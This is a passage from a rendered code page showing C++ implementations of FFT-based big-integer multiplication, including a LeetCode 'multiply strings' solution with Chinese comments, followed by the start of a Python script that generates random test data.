</span></span></span><span class="line"><span class="ln">103</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">            <span class="n">x1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">x1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">*</span> <span class="n">x2</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">        
</span></span><span class="line"><span class="ln">106</span><span class="cl">        <span class="c1">// IDFT
</span></span></span><span class="line"><span class="ln">107</span><span class="cl">        <span class="n">fft</span><span class="p">(</span><span class="n">x1</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">108</span><span class="cl">
</span></span><span class="line"><span class="ln">109</span><span class="cl">        <span class="c1">// 转化为整数值
</span></span></span><span class="line"><span class="ln">110</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">            <span class="n">sum</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)(</span><span class="n">x1</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">x</span> <span class="o">+</span> <span class="mf">0.5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">            <span class="n">sum</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">+=</span> <span class="n">sum</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">/</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl">            <span class="n">sum</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">%=</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">115</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">116</span><span class="cl">
</span></span><span class="line"><span class="ln">117</span><span class="cl">        <span class="c1">// 输出结果
</span></span></span><span class="line"><span class="ln">118</span><span class="cl">        <span class="n">len</span> <span class="o">=</span> <span class="n">len1</span> <span class="o">+</span> <span class="n">len2</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">119</span><span class="cl">        <span class="k">while</span><span class="p">(</span><span class="n">sum</span><span class="p">[</span><span class="n">len</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">len</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">len</span><span class="o">--</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">120</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">--</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl">            <span class="n">printf</span><span class="p">(</span><span class="s">&#34;%c&#34;</span><span class="p">,</span> <span class="n">sum</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="sc">&#39;0&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">123</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">124</span><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl"><span class="p">}</span></span></span></code></pre></div><p><code>fft/leetcode_upload.cpp</code></p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="ln">  1</span><span class="cl"><span class="k">class</span> <span class="nc">Solution</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="k">public</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">  3</span><span class="cl">    <span class="kt">double</span> <span class="n">PI</span> <span class="o">=</span> <span class="n">acos</span><span class="p">(</span><span class="o">-</span><span class="mf">1.0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">  4</span><span class="cl">    <span class="c1">// 复数结构体
</span></span></span><span class="line"><span class="ln">  5</span><span class="cl">    <span class="k">struct</span> <span class="nc">Complex</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">  6</span><span class="cl">        <span class="kt">double</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">;</span>     <span class="c1">// 实部和虚部 x + yi
</span></span></span><span class="line"><span class="ln">  7</span><span class="cl">        <span class="n">Complex</span><span class="p">(</span><span class="kt">double</span> <span class="n">_x</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">,</span> <span class="kt">double</span> <span class="n">_y</span> <span class="o">=</span> <span class="mf">0.0</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">  8</span><span class="cl">            <span class="n">x</span> <span class="o">=</span> <span class="n">_x</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">  9</span><span class="cl">            <span class="n">y</span> <span class="o">=</span> <span class="n">_y</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">        <span class="n">Complex</span> <span class="k">operator</span> <span class="o">-</span> <span class="p">(</span><span class="k">const</span> <span class="n">Complex</span> <span class="o">&amp;</span><span class="n">b</span><span class="p">)</span> <span class="k">const</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 12</span><span class="cl">            <span class="k">return</span> <span class="nf">Complex</span><span class="p">(</span><span class="n">x</span> <span class="o">-</span> <span class="n">b</span><span class="p">.</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">-</span> <span class="n">b</span><span class="p">.</span><span class="n">y</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">        <span class="n">Complex</span> <span class="k">operator</span> <span class="o">+</span> <span class="p">(</span><span class="k">const</span> <span class="n">Complex</span> <span class="o">&amp;</span><span class="n">b</span><span class="p">)</span> <span class="k">const</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">            <span class="k">return</span> <span class="nf">Complex</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">b</span><span class="p">.</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">+</span> <span class="n">b</span><span class="p">.</span><span class="n">y</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">        <span class="n">Complex</span> <span class="k">operator</span> <span class="o">*</span> <span class="p">(</span><span class="k">const</span> <span class="n">Complex</span> <span class="o">&amp;</span><span class="n">b</span><span class="p">)</span> <span class="k">const</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">            <span class="k">return</span> <span class="nf">Complex</span><span class="p">(</span><span class="n">x</span><span class="o">*</span><span class="n">b</span><span class="p">.</span><span class="n">x</span> <span class="o">-</span> <span class="n">y</span><span class="o">*</span><span class="n">b</span><span class="p">.</span><span class="n">y</span><span class="p">,</span> <span class="n">x</span><span class="o">*</span><span class="n">b</span><span class="p">.</span><span class="n">y</span> <span class="o">+</span> <span class="n">y</span><span class="o">*</span><span class="n">b</span><span class="p">.</span><span class="n">x</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">    <span class="c1">// FFT 和 IFFT 前的反转变换。
</span></span></span><span class="line"><span class="ln"> 22</span><span class="cl">    <span class="c1">// 位置 i 和 （i 二进制反转后位置）互换
</span></span></span><span class="line"><span class="ln"> 23</span><span class="cl">    <span class="c1">// len 必须是 2 的幂
</span></span></span><span class="line"><span class="ln"> 24</span><span class="cl">    <span class="kt">void</span> <span class="nf">change</span><span class="p">(</span><span class="n">Complex</span> <span class="n">y</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">len</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">        <span class="kt">int</span> <span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">,</span> <span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">j</span> <span class="o">=</span> <span class="n">len</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="n">i</span> <span class="o">&lt;</span> <span class="n">j</span><span class="p">)</span> <span class="n">swap</span><span class="p">(</span><span class="n">y</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">y</span><span class="p">[</span><span class="n">j</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">            <span class="c1">// 交换互为小标反转的元素，i &lt; j 保证交换一次
</span></span></span><span class="line"><span class="ln"> 29</span><span class="cl">            <span class="c1">// i 做正常的 +1，j 左反转类型的 +1,始终保持 i 和 j 是反转的
</span></span></span><span class="line"><span class="ln"> 30</span><span class="cl">            <span class="n">k</span> <span class="o">=</span> <span class="n">len</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">            <span class="k">while</span><span class="p">(</span><span class="n">j</span> <span class="o">&gt;=</span> <span class="n">k</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">                <span class="n">j</span> <span class="o">-=</span> <span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">                <span class="n">k</span> <span class="o">/=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="n">j</span> <span class="o">&lt;</span> <span class="n">k</span><span class="p">)</span> <span class="n">j</span> <span class="o">+=</span> <span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">    <span class="c1">// FFT
</span></span></span><span class="line"><span class="ln"> 40</span><span class="cl">    <span class="c1">// len 必须为 2 的幂，
</span></span></span><span class="line"><span class="ln"> 41</span><span class="cl">    <span class="c1">// on == 1 时是 DFT，on == -1 时是 IDFT
</span></span></span><span class="line"><span class="ln"> 42</span><span class="cl">    <span class="kt">void</span> <span class="nf">fft</span><span class="p">(</span><span class="n">Complex</span> <span class="n">y</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">len</span><span class="p">,</span> <span class="kt">int</span> <span class="n">on</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">        <span class="n">change</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">h</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="n">h</span> <span class="o">&lt;=</span> <span class="n">len</span><span class="p">;</span> <span class="n">h</span> <span class="o">*=</span> <span class="mi">2</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">            <span class="n">Complex</span> <span class="n">wn</span><span class="p">(</span><span class="n">cos</span><span class="p">(</span><span class="o">-</span><span class="n">on</span> <span class="o">*</span> <span class="mi">2</span><span class="o">*</span><span class="n">PI</span> <span class="o">/</span> <span class="n">h</span><span class="p">),</span> <span class="n">sin</span><span class="p">(</span><span class="o">-</span><span class="n">on</span> <span class="o">*</span> <span class="mi">2</span><span class="o">*</span><span class="n">PI</span> <span class="o">/</span> <span class="n">h</span><span class="p">));</span>
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">            <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">j</span> <span class="o">+=</span> <span class="n">h</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">                <span class="n">Complex</span> <span class="n">w</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">                <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">k</span> <span class="o">=</span> <span class="n">j</span><span class="p">;</span> <span class="n">k</span> <span class="o">&lt;</span> <span class="n">j</span> <span class="o">+</span> <span class="n">h</span><span class="o">/</span><span class="mi">2</span><span class="p">;</span> <span class="n">k</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">                    <span class="n">Complex</span> <span class="n">u</span> <span class="o">=</span> <span class="n">y</span><span class="p">[</span><span class="n">k</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">                    <span class="n">Complex</span> <span class="n">t</span> <span class="o">=</span> <span class="n">w</span> <span class="o">*</span> <span class="n">y</span><span class="p">[</span><span class="n">k</span> <span class="o">+</span> <span class="n">h</span><span class="o">/</span><span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">                    <span class="n">y</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">u</span> <span class="o">+</span> <span class="n">t</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">                    <span class="n">y</span><span class="p">[</span><span class="n">k</span> <span class="o">+</span> <span class="n">h</span><span class="o">/</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">u</span> <span class="o">-</span> <span class="n">t</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">                    <span class="n">w</span> <span class="o">=</span> <span class="n">w</span> <span class="o">*</span> <span class="n">wn</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">on</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">            <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">                <span class="n">y</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">x</span> <span class="o">/=</span> <span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">    <span class="n">Complex</span> <span class="n">x1</span><span class="p">[</span><span class="mi">200010</span><span class="p">],</span> <span class="n">x2</span><span class="p">[</span><span class="mi">200010</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">    <span class="kt">char</span> <span class="n">str1</span><span class="p">[</span><span class="mi">100005</span><span class="p">],</span> <span class="n">str2</span><span class="p">[</span><span class="mi">100005</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">    <span class="kt">int</span> <span class="n">sum</span><span class="p">[</span><span class="mi">200010</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">    <span class="n">string</span> <span class="nf">multiply</span><span class="p">(</span><span class="n">string</span> <span class="n">num1</span><span class="p">,</span> <span class="n">string</span> <span class="n">num2</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">        <span class="c1">// 输入两个大数字符串
</span></span></span><span class="line"><span class="ln"> 68</span><span class="cl">        <span class="n">strcpy</span><span class="p">(</span><span class="n">str1</span><span class="p">,</span> <span class="n">num1</span><span class="p">.</span><span class="n">c_str</span><span class="p">());</span>
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">        <span class="n">strcpy</span><span class="p">(</span><span class="n">str2</span><span class="p">,</span> <span class="n">num2</span><span class="p">.</span><span class="n">c_str</span><span class="p">());</span>
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">        <span class="kt">int</span> <span class="n">len1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">str1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">        <span class="kt">int</span> <span class="n">len2</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">str2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">        <span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">        <span class="k">while</span><span class="p">(</span><span class="n">len</span> <span class="o">&lt;</span> <span class="n">len1</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">||</span> <span class="n">len</span> <span class="o">&lt;</span> <span class="n">len2</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="n">len</span> <span class="o">*=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">        <span class="c1">// 把字符串转化为复数数组
</span></span></span><span class="line"><span class="ln"> 78</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">            <span class="n">x1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">Complex</span><span class="p">(</span><span class="n">str1</span><span class="p">[</span><span class="n">len1</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">-</span> <span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="sc">&#39;0&#39;</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">len1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">            <span class="n">x1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">Complex</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len2</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">            <span class="n">x2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">Complex</span><span class="p">(</span><span class="n">str2</span><span class="p">[</span><span class="n">len2</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">-</span> <span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="sc">&#39;0&#39;</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">len2</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">            <span class="n">x2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">Complex</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">        <span class="c1">// 求DFT
</span></span></span><span class="line"><span class="ln"> 88</span><span class="cl">        <span class="n">fft</span><span class="p">(</span><span class="n">x1</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">        <span class="n">fft</span><span class="p">(</span><span class="n">x2</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">        <span class="c1">// 相乘
</span></span></span><span class="line"><span class="ln"> 92</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">            <span class="n">x1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">x1</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">*</span> <span class="n">x2</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">        
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">        <span class="c1">// IDFT
</span></span></span><span class="line"><span class="ln"> 96</span><span class="cl">        <span class="n">fft</span><span class="p">(</span><span class="n">x1</span><span class="p">,</span> <span class="n">len</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">        <span class="c1">// 转化为整数值
</span></span></span><span class="line"><span class="ln"> 99</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">100</span><span class="cl">            <span class="n">sum</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)(</span><span class="n">x1</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">x</span> <span class="o">+</span> <span class="mf">0.5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">101</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">102</span><span class="cl">            <span class="n">sum</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">+=</span> <span class="n">sum</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">/</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">103</span><span class="cl">            <span class="n">sum</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">%=</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">104</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">105</span><span class="cl">
</span></span><span class="line"><span class="ln">106</span><span class="cl">        <span class="c1">// 输出结果
</span></span></span><span class="line"><span class="ln">107</span><span class="cl">        <span class="n">len</span> <span class="o">=</span> <span class="n">len1</span> <span class="o">+</span> <span class="n">len2</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">108</span><span class="cl">        <span class="k">while</span><span class="p">(</span><span class="n">sum</span><span class="p">[</span><span class="n">len</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">len</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">len</span><span class="o">--</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">109</span><span class="cl">        <span class="n">string</span> <span class="n">ans</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">110</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">--</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">111</span><span class="cl">            <span class="n">ans</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="kt">char</span><span class="p">(</span><span class="n">sum</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="sc">&#39;0&#39;</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">112</span><span class="cl">        <span class="k">return</span> <span class="n">ans</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">113</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">114</span><span class="cl"><span class="p">};</span></span></span></code></pre></div><p><code>judge/data.py</code></p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">randint</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">test</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;test.data&#34;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">ans</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;ans.data&#34;</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">last</span> <span class="o">=</span> <span class="nb">str</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">temp</span> <span class="o">=</span> <span class="nb">str</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">last</span> <span class="o">=</span> <span class="n">temp</span>
